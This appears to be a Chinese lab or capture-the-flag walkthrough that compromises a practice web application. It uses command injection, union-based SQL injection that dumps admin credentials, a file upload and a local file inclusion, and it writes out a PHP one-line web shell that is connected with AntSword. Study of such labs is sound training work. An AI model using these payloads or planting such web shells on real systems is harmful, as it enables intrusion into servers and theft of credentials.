一.命令执行漏洞
(1)下面有一个输入框,输入ls进行查看
(2)输入echo '<?php phpinfo();?>' > qxl.php 并且访问
(3)写入一句话木马,并且访问蚁剑连接
echo '<?php @eval($_POST['cmd'];?>'>q.php
二.sql注入
测试sql注入为数字型
(1)查询数据库
-1 union select 1,2,database()
(2)查看表名
-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
(3)查看列名
1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin' #
(4)查看admin的账号和密码
-1 union select 1,2,group_concat(user_id,user_name,user_pass) from admin#
(5)最终得出账号是admin,密码是mysql
三.文件上传漏洞
(1)使用得到的账号密码进行登录,进去之后发现可以上传文件
(2)写入一句话木马到qxl.php然后上传,并且访问上传成功后得到的路径
(3)蚁剑连接
四.文件包含漏洞
(1)首页的关于界面存在文件包含漏洞
(2).访问之前写入的qxl.php中进行查看发现远程文件包含关闭,本地文件可以访问
(3).包含之前的q.php一句话木马,访问并且蚁剑连接